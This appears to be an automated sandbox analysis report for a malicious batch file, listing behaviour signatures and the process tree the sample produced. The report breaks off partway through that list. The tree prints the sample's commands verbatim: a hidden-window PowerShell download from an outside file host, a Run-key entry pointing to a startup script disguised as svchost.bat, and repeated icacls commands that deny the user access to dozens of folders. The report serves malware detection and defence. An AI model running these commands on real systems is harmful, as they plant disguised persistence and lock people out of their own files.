b6a0e4e85aa843f5ea739b93074acf03f7b202af23d848871deb2978be30c116

Analysis

user interaction
yes
max time kernel
97s
max time network
100s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
15/07/2026, 02:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a.bat
Size 1KB
Sample260715-dgrppads8s
SHA256 b6a0e4e85aa843f5ea739b93074acf03f7b202af23d848871deb2978be30c116
MD5 536b04d5b0c2ebd28d771dd90d763717
SHA1 644e021a838cee13cfcad7e49089618ec2906d35
SHA512 b46dbebf5d46ccf6f085a5c7fba1bc6036997b332d1b2ed66cc0901b6e97bdafe4680e168cd257f1df94f19d96da09455c0ad017931f5af3ac48d1d7f951599e
TLSH
T1D23196AB3C08A559867752904A778144F789D6978600EFEC31D3D0A93E173C083A6DCD
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4412	powershell.exe
7	3948	powershell.exe
9	3948	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
7520	Process not Found
7332	Process not Found
1252	Process not Found
1156	Process not Found
13452	Process not Found
752	powershell.exe
2512	powershell.exe
5424	powershell.exe
2260	Process not Found
7528	Process not Found
9636	Process not Found
8704	Process not Found
10528	Process not Found
7892	Process not Found
7684	Process not Found
13300	Process not Found
3696	powershell.exe
4832	powershell.exe
7264	Process not Found
11176	Process not Found
11592	Process not Found
14096	Process not Found
11528	Process not Found
4584	powershell.exe
6428	Process not Found
8084	Process not Found
9720	Process not Found
8652	Process not Found
10844	Process not Found
10652	Process not Found
9968	Process not Found
12616	Process not Found
10624	Process not Found
13644	Process not Found
12472	Process not Found
1756	powershell.exe
4304	powershell.exe
6040	powershell.exe
5272	Process not Found
5712	Process not Found
9072	Process not Found
8412	Process not Found
11232	Process not Found
2336	Process not Found
7912	Process not Found
7956	Process not Found
10540	Process not Found
13196	Process not Found
13876	Process not Found
12972	Process not Found
6840	Process not Found
6404	Process not Found
1552	Process not Found
7632	Process not Found
9752	Process not Found
11644	Process not Found
12092	Process not Found
13428	Process not Found
1416	powershell.exe
600	powershell.exe
2160	powershell.exe
6808	Process not Found
7692	Process not Found
9944	Process not Found

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat	cmd.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
12928	Process not Found
10040	Process not Found
14324	Process not Found
3148	icacls.exe
10768	Process not Found
1616	Process not Found
10756	Process not Found
5856	icacls.exe
2620	icacls.exe
5128	icacls.exe
1364	icacls.exe
5712	Process not Found
7944	Process not Found
8780	Process not Found
7108	Process not Found
580	icacls.exe
5176	icacls.exe
8980	Process not Found
11164	Process not Found
9492	Process not Found
12132	Process not Found
8548	Process not Found
12588	Process not Found
2260	icacls.exe
4588	Process not Found
8480	Process not Found
12644	Process not Found
12296	Process not Found
11600	Process not Found
13240	Process not Found
11696	Process not Found
12176	Process not Found
4276	icacls.exe
4500	Process not Found
7476	Process not Found
10488	Process not Found
4920	icacls.exe
2336	icacls.exe
2728	Process not Found
5232	Process not Found
11612	Process not Found
13140	Process not Found
11576	Process not Found
2496	icacls.exe
6364	Process not Found
3908	Process not Found
6652	Process not Found
9016	Process not Found
6996	Process not Found
9068	Process not Found
10552	Process not Found
2524	icacls.exe
1948	icacls.exe
6852	Process not Found
11532	Process not Found
5560	Process not Found
5416	icacls.exe
3952	icacls.exe
13300	Process not Found
2356	Process not Found
5480	icacls.exe
1440	icacls.exe
4044	icacls.exe
9064	Process not Found

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1131776342-1023621610-2767477260-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\svchost.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1131776342-1023621610-2767477260-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\svchost.bat"	reg.exe

Delays execution with timeout.exe 64 IoCs

defense_evasion

pid	Process
9308	Process not Found
12272	Process not Found
2808	timeout.exe
220	timeout.exe
548	timeout.exe
6460	Process not Found
8600	Process not Found
9992	Process not Found
5216	timeout.exe
4772	timeout.exe
2200	Process not Found
6556	Process not Found
8388	Process not Found
9556	Process not Found
9736	Process not Found
12124	Process not Found
1804	timeout.exe
2852	timeout.exe
7988	Process not Found
11068	Process not Found
8148	Process not Found
12912	Process not Found
3656	timeout.exe
3352	timeout.exe
2024	timeout.exe
8156	Process not Found
7916	Process not Found
7000	Process not Found
8524	Process not Found
8476	Process not Found
3508	timeout.exe
6448	Process not Found
7996	Process not Found
11676	Process not Found
11240	Process not Found
5364	Process not Found
12672	Process not Found
6644	Process not Found
7968	Process not Found
1320	timeout.exe
6548	Process not Found
9496	Process not Found
14104	Process not Found
12640	Process not Found
4240	Process not Found
7056	Process not Found
7208	Process not Found
2224	timeout.exe
8584	Process not Found
11996	Process not Found
4484	Process not Found
7516	Process not Found
7332	Process not Found
5196	Process not Found
10016	Process not Found
9460	Process not Found
7204	Process not Found
14224	Process not Found
744	timeout.exe
3424	timeout.exe
5140	Process not Found
6308	Process not Found
11828	Process not Found
7240	Process not Found

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
10224	Process not Found
4360	taskkill.exe
5708	taskkill.exe
6452	Process not Found
7116	Process not Found
1368	Process not Found
7528	Process not Found
7544	Process not Found
7820	Process not Found
8572	Process not Found
3828	taskkill.exe
5164	taskkill.exe
5968	taskkill.exe
8468	Process not Found
9172	Process not Found
6596	Process not Found
11228	Process not Found
3260	taskkill.exe
7684	Process not Found
6960	Process not Found
8216	Process not Found
8484	Process not Found
11280	Process not Found
12000	Process not Found
11980	Process not Found
3320	taskkill.exe
7368	Process not Found
7724	Process not Found
1252	Process not Found
11764	Process not Found
12776	Process not Found
1320	taskkill.exe
7052	Process not Found
12536	Process not Found
5628	taskkill.exe
4676	taskkill.exe
7080	Process not Found
6636	Process not Found
9532	Process not Found
8264	Process not Found
12076	Process not Found
5312	Process not Found
1272	taskkill.exe
4584	taskkill.exe
4248	Process not Found
7288	Process not Found
12104	Process not Found
11276	Process not Found
2848	taskkill.exe
9680	Process not Found
9816	Process not Found
6616	Process not Found
6040	taskkill.exe
1368	taskkill.exe
1496	Process not Found
10904	Process not Found
10472	Process not Found
13060	Process not Found
11972	Process not Found
11940	Process not Found
4116	taskkill.exe
5512	taskkill.exe
6548	Process not Found
11580	Process not Found

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4412	powershell.exe
4412	powershell.exe
3948	powershell.exe
3948	powershell.exe
3696	powershell.exe
3696	powershell.exe
1416	powershell.exe
1416	powershell.exe

Suspicious use of AdjustPrivilegeToken 58 IoCs

description	pid	Process
Token: SeDebugPrivilege	4412	powershell.exe
Token: SeRestorePrivilege	5808	icacls.exe
Token: SeRestorePrivilege	2268	icacls.exe
Token: SeRestorePrivilege	3836	icacls.exe
Token: SeRestorePrivilege	4932	icacls.exe
Token: SeRestorePrivilege	372	icacls.exe
Token: SeRestorePrivilege	3692	icacls.exe
Token: SeRestorePrivilege	6088	icacls.exe
Token: SeRestorePrivilege	4816	icacls.exe
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeRestorePrivilege	2616	icacls.exe
Token: SeRestorePrivilege	3748	icacls.exe
Token: SeRestorePrivilege	5128	icacls.exe
Token: SeRestorePrivilege	4084	icacls.exe
Token: SeRestorePrivilege	1432	icacls.exe
Token: SeRestorePrivilege	3344	icacls.exe
Token: SeRestorePrivilege	6040	icacls.exe
Token: SeRestorePrivilege	5168	icacls.exe
Token: SeRestorePrivilege	3292	icacls.exe
Token: SeRestorePrivilege	4004	icacls.exe
Token: SeRestorePrivilege	5764	icacls.exe
Token: SeRestorePrivilege	1452	icacls.exe
Token: SeRestorePrivilege	548	icacls.exe
Token: SeRestorePrivilege	872	icacls.exe
Token: SeRestorePrivilege	5636	icacls.exe
Token: SeRestorePrivilege	4500	icacls.exe
Token: SeRestorePrivilege	5504	icacls.exe
Token: SeRestorePrivilege	5140	icacls.exe
Token: SeRestorePrivilege	3892	icacls.exe
Token: SeRestorePrivilege	3984	icacls.exe
Token: SeRestorePrivilege	4664	icacls.exe
Token: SeRestorePrivilege	4308	icacls.exe
Token: SeRestorePrivilege	1792	icacls.exe
Token: SeRestorePrivilege	2724	icacls.exe
Token: SeRestorePrivilege	5580	icacls.exe
Token: SeRestorePrivilege	5860	icacls.exe
Token: SeRestorePrivilege	5536	icacls.exe
Token: SeRestorePrivilege	5872	icacls.exe
Token: SeRestorePrivilege	3548	icacls.exe
Token: SeRestorePrivilege	816	icacls.exe
Token: SeRestorePrivilege	5124	icacls.exe
Token: SeRestorePrivilege	2160	icacls.exe
Token: SeRestorePrivilege	4164	icacls.exe
Token: SeRestorePrivilege	3864	icacls.exe
Token: SeRestorePrivilege	4136	icacls.exe
Token: SeRestorePrivilege	6096	icacls.exe
Token: SeRestorePrivilege	5712	icacls.exe
Token: SeRestorePrivilege	228	icacls.exe
Token: SeRestorePrivilege	4824	icacls.exe
Token: SeRestorePrivilege	2796	icacls.exe
Token: SeRestorePrivilege	4228	icacls.exe
Token: SeRestorePrivilege	5488	icacls.exe
Token: SeDebugPrivilege	1320	taskkill.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeDebugPrivilege	4520	taskkill.exe
Token: SeDebugPrivilege	1416	powershell.exe
Token: SeRestorePrivilege	5948	icacls.exe
Token: SeRestorePrivilege	2584	icacls.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4436 wrote to memory of 4404	4436	cmd.exe	85
PID 4436 wrote to memory of 4412	4436	cmd.exe	86
PID 4436 wrote to memory of 5164	4436	cmd.exe	89
PID 4436 wrote to memory of 5808	4436	cmd.exe	90
PID 4436 wrote to memory of 3664	4436	cmd.exe	91
PID 4436 wrote to memory of 2268	4436	cmd.exe	92
PID 4436 wrote to memory of 2380	4436	cmd.exe	93
PID 4436 wrote to memory of 3836	4436	cmd.exe	94
PID 4436 wrote to memory of 2116	4436	cmd.exe	96
PID 4436 wrote to memory of 4932	4436	cmd.exe	97
PID 4436 wrote to memory of 2564	4436	cmd.exe	98
PID 4436 wrote to memory of 372	4436	cmd.exe	99
PID 4436 wrote to memory of 5708	4436	cmd.exe	100
PID 4436 wrote to memory of 3692	4436	cmd.exe	102
PID 4436 wrote to memory of 3612	4436	cmd.exe	103
PID 4436 wrote to memory of 6088	4436	cmd.exe	104
PID 4436 wrote to memory of 4104	4436	cmd.exe	105
PID 4436 wrote to memory of 4816	4436	cmd.exe	107
PID 4436 wrote to memory of 4908	4436	cmd.exe	108
PID 4436 wrote to memory of 2616	4436	cmd.exe	109
PID 4436 wrote to memory of 1616	4436	cmd.exe	110
PID 4436 wrote to memory of 3748	4436	cmd.exe	111
PID 4436 wrote to memory of 5472	4436	cmd.exe	112
PID 4436 wrote to memory of 5128	4436	cmd.exe	113
PID 4436 wrote to memory of 5260	4436	cmd.exe	114
PID 4436 wrote to memory of 4084	4436	cmd.exe	115
PID 4436 wrote to memory of 3636	4436	cmd.exe	116
PID 4436 wrote to memory of 1432	4436	cmd.exe	117
PID 4436 wrote to memory of 5772	4436	cmd.exe	118
PID 4436 wrote to memory of 3344	4436	cmd.exe	119
PID 4436 wrote to memory of 6008	4436	cmd.exe	120
PID 4436 wrote to memory of 6040	4436	cmd.exe	121
PID 4436 wrote to memory of 3100	4436	cmd.exe	122
PID 4436 wrote to memory of 5168	4436	cmd.exe	123
PID 4436 wrote to memory of 2452	4436	cmd.exe	124
PID 4436 wrote to memory of 3292	4436	cmd.exe	125
PID 4436 wrote to memory of 5572	4436	cmd.exe	126
PID 4436 wrote to memory of 4004	4436	cmd.exe	127
PID 4436 wrote to memory of 3112	4436	cmd.exe	128
PID 4436 wrote to memory of 5764	4436	cmd.exe	129
PID 4436 wrote to memory of 3812	4436	cmd.exe	130
PID 4436 wrote to memory of 1452	4436	cmd.exe	131
PID 4436 wrote to memory of 5824	4436	cmd.exe	132
PID 4436 wrote to memory of 548	4436	cmd.exe	133
PID 4436 wrote to memory of 5468	4436	cmd.exe	134
PID 4436 wrote to memory of 872	4436	cmd.exe	135
PID 4436 wrote to memory of 8	4436	cmd.exe	136
PID 4436 wrote to memory of 5636	4436	cmd.exe	137
PID 4436 wrote to memory of 4928	4436	cmd.exe	138
PID 4436 wrote to memory of 4500	4436	cmd.exe	139
PID 4436 wrote to memory of 2944	4436	cmd.exe	140
PID 4436 wrote to memory of 5504	4436	cmd.exe	141
PID 4436 wrote to memory of 5192	4436	cmd.exe	142
PID 4436 wrote to memory of 5140	4436	cmd.exe	143
PID 4436 wrote to memory of 3940	4436	cmd.exe	144
PID 4436 wrote to memory of 3892	4436	cmd.exe	145
PID 4436 wrote to memory of 4044	4436	cmd.exe	146
PID 4436 wrote to memory of 3984	4436	cmd.exe	147
PID 4436 wrote to memory of 2156	4436	cmd.exe	148
PID 4436 wrote to memory of 4664	4436	cmd.exe	149
PID 4436 wrote to memory of 4592	4436	cmd.exe	150
PID 4436 wrote to memory of 4308	4436	cmd.exe	151
PID 4436 wrote to memory of 2264	4436	cmd.exe	152
PID 4436 wrote to memory of 1792	4436	cmd.exe	153

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:4436
- C:\Windows\system32\mode.com
  mode con: cols=1 lines=1
  2⤵
  PID:4404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri 'https://store-na-phx-5.gofile.io/download/web/7ebbb6f4-a537-4208-ad4a-48a914b785b3/301f696501829af4a3a58dccffc4cbb6_0_42700000.mp4' -OutFile 'C:\Users\Admin\Desktop\system_video.mp4' -UseBasicParsing -TimeoutSec 60"
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4412
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
  2⤵
  - Adds Run key to start application
  PID:5164
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5808
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:3664
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2268
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:2380
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3836
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:2116
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4932
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:2564
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:372
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:5708
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3692
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:3612
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6088
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4104
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4816
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4908
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2616
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:1616
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3748
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:5472
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5128
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:5260
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4084
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:3636
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1432
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:5772
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3344
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:6008
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6040
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:3100
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5168
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:2452
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3292
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:5572
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder18" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4004
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder18" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:3112
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder19" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5764
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder19" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:3812
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder20" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1452
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder20" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:5824
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder21" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:548
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder21" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:5468
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder22" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:872
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder22" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:8
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder23" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5636
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder23" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4928
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder24" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4500
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder24" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:2944
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder25" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5504
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder25" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:5192
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder26" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5140
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder26" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:3940
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder27" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3892
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder27" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4044
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder28" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3984
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder28" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:2156
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder29" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4664
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder29" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4592
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder30" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4308
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder30" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:2264
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder31" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1792
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder31" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:3428
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder32" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2724
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder32" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:2120
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder33" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5580
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder33" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:1948
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder34" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5860
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder34" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:5864
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder35" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5536
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder35" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:1264
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder36" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5872
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder36" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:1788
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder37" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3548
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder37" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:5336
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder38" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:816
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder38" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  - Modifies file permissions
  PID:580
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder39" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5124
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder39" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:1600
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder40" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2160
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder40" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:5180
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder41" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4164
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder41" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:5104
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder42" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3864
- C:\Windows\system32\icacls.exe
